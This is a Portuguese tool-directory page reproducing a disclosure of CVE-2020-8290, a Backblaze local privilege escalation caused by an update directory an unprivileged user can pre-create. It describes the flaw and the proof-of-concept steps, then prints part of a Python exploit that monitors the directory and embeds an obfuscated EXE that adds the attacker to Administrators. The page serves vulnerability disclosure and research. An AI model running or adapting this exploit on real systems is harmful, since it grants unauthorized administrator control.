Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-8290 — CVE-2020-8290 – Elevação de Privilégio no Backblaze | Kitploit
Ferramentas/GitHubGitHub/geffner/cve-2020-8290
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoTestes de Penetração
GitHubgeffner/cve-2020-8290

CVE-2020-8290

CVE-2020-8290 – Elevação de Privilégio no Backblaze

Ver Repositório
1há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2020-8290 – Elevação de Privilégio no Backblaze

Resumo

Nome: Elevação de Privilégio no Backblaze
CVE: CVE-2020-8290
Descobridor: Jason Geffner
Fornecedor: Backblaze
Produto: Backblaze para Windows e Backblaze para macOS
Risco: Alto
Data da Descoberta: 2020-03-13
Data de Publicação: 2020-09-09
Versão Corrigida: 7.0.0.439

Introdução

Segundo a Wikipédia, Backblaze é

"uma ferramenta de backup online que permite que usuários Windows e macOS façam backup de seus dados para datacenters remotos. O serviço é projetado para empresas e usuários finais, fornecendo espaço de armazenamento ilimitado e suportando tamanhos de arquivo ilimitados."

Versões vulneráveis do Backblaze para Windows e Backblaze para macOS contêm uma vulnerabilidade de alto risco que permite que um atacante local não privilegiado realize um ataque de elevação de privilégio (EOP) para se tornar SYSTEM/root.

Vulnerabilidade

O processo de serviço do cliente Backblaze, chamado bzserv, é executado como SYSTEM no Windows e como root no macOS. A cada algumas horas, o bzserv executa um programa chamado bztransmit (executado como SYSTEM/root) para baixar um arquivo XML chamado clientversion.xml do datacenter da Backblaze para verificar se uma versão mais recente do cliente Backblaze está disponível para download e, em caso afirmativo, baixar o instalador da versão mais recente do cliente do datacenter da Backblaze. O instalador baixado é salvo no diretório %ProgramData%\Backblaze\bzdata\bzupdates no Windows e no diretório /Library/Backblaze.bzpkg/bzdata/bzupdates ou /Library/Backblaze/bzdata/bzupdates no macOS. Uma vez baixado, o bztransmit executa o instalador baixado como SYSTEM via ShellExecute() ou como root via system().

No Windows, o diretório %ProgramData%\Backblaze\bzdata é criado no momento da instalação de modo que usuários locais não privilegiados tenham acesso de leitura e escrita. O processo bztransmit cria o subdiretório bzupdates enquanto é executado como SYSTEM, e usuários não privilegiados não têm acesso de leitura ou escrita a este subdiretório depois de criado. No entanto, o processo bztransmit não verifica de forma segura a ACL neste diretório bzupdates se ele já existir, nem atualiza a ACL de forma segura se o diretório já existir. Dessa forma, um atacante local não privilegiado pode criar o diretório %ProgramData%\Backblaze\bzdata\bzupdates antes da instalação do Backblaze, ou criar o subdiretório bzupdates dentro de %ProgramData%\Backblaze\bzdata depois que o Backblaze estiver instalado e antes que o bztransmit crie o subdiretório bzupdates. Isso permite que o atacante seja o proprietário do diretório bzupdates e tenha controle total sobre os arquivos nesse diretório. Assim, o atacante pode modificar ou substituir o executável de atualização baixado depois de baixado e antes de ser executado, permitindo assim a EOP local.

No macOS, o diretório /Library/Backblaze.bzpkg/bzdata (ou /Library/Backblaze/bzdata) é criado no momento da instalação com permissões 0777 (drwxrwxrwx), de modo que usuários locais não privilegiados tenham acesso de leitura e escrita. O processo bztransmit cria o subdiretório bzupdates com permissões 0755 (drwxr-xr-x) enquanto é executado como root, e usuários não privilegiados não têm acesso de leitura ou escrita a este subdiretório depois de criado. No entanto, o processo bztransmit não verifica de forma segura as permissões neste diretório bzupdates se ele já existir, nem atualiza as permissões de forma segura se o diretório já existir. Dessa forma, um atacante local não privilegiado pode criar o subdiretório bzupdates dentro de /Library/Backblaze.bzpkg/bzdata (ou /Library/Backblaze/bzdata) depois que o Backblaze estiver instalado e antes que o bztransmit crie o subdiretório bzupdates. Isso permite que o atacante seja o proprietário do diretório bzupdates e tenha controle total sobre os arquivos nesse diretório. Assim, o atacante pode modificar ou substituir o executável de atualização baixado depois de baixado e antes de ser executado, permitindo assim a EOP local.

Prova de Conceito

Vídeo: https://youtu.be/OpC6neWd2aM

O vídeo acima mostra dois logins simultâneos na mesma VM: uma sessão de administrador à esquerda e uma sessão de atacante não privilegiado à direita. Você pode ver as seguintes etapas no vídeo:

  1. Atacante executa net localgroup Administrators para mostrar que a conta do atacante não privilegiado (chamada Atacante) não é membro do grupo Administrators.
  2. Atacante executa python eop.py (cujo código fonte está abaixo).
  3. O administrador então instala o Backblaze.
  4. Seis minutos depois, o serviço Backblaze instalado baixa clientversion.xml, que o exploit sobrescreve.
  5. Um minuto depois, o serviço Backblaze instalado baixa o executável do atualizador, que o exploit sobrescreve.
  6. O serviço Backblaze então executa o atualizador sobrescrito, que adiciona a conta Atacante ao grupo Administrators.
  7. O atacante então executa net localgroup Administrators novamente para mostrar que a conta Atacante foi de fato adicionada ao grupo Administrators. Elevação de privilégio local concluída.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Proof-of-concept exploit for CVE-2020-8290 for Windows."""


__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"


import base64
import bz2
import ctypes
import os
import platform
import re
import subprocess
import time


def wait_for_filesystem_object(file_path):
    if os.path.exists(file_path):
        return
    parent_directory = os.path.dirname(file_path)
    if not os.path.exists(parent_directory):
        wait_for_filesystem_object(parent_directory)
    buffer = ctypes.create_string_buffer(1024)
    bytes_returned = ctypes.c_ulong()
    if "." in os.path.basename(file_path):
        notify_filter = 8
    else:
        notify_filter = 2
    h = ctypes.windll.kernel32.CreateFileW(parent_directory, 1, 3, None, 3,
                                           0x02000000, None)
    while not os.path.exists(file_path):
        ctypes.windll.kernel32.ReadDirectoryChangesW(
            h, ctypes.byref(buffer), 1024, False, notify_filter,
            ctypes.byref(bytes_returned), None, None)
    ctypes.windll.kernel32.CloseHandle(h)


def get_exe_content():
    #
    # Returns the content of an EXE that will add the attacker to the
    # Administrators group. Based on
    # https://github.com/corkami/pocs/blob/master/PE/tiny.asm
    #
    exe_content = bz2.decompress(base64.b85decode(
        "LRx4!F+o`-Q&~Gdx1Rt2IDf_b?h*hH0T=+r20)M=eGothKnwr?AOHZM0CF*qXfk9P8W?" +
        "~Xpp?}o=_Zd;AT%0gp!EiU7eYM!=ig9Ls6k|2Zp2X7u2P_M#mS9GBAA+UVO{FjHAvEri" +
        "p0bod_MlBT`kDlS6O$(^CD~4Z=KV8QJRn3`8m~{QUE*R2n)F)oG3^gpWDxX"))
    exe_content += ("NET LOCALGROUP Administrators " +
                    f"{os.environ['USERDOMAIN']}\\" +
                    f"{os.environ['USERNAME']} /ADD").encode()
    return exe_content
Baixar ferramenta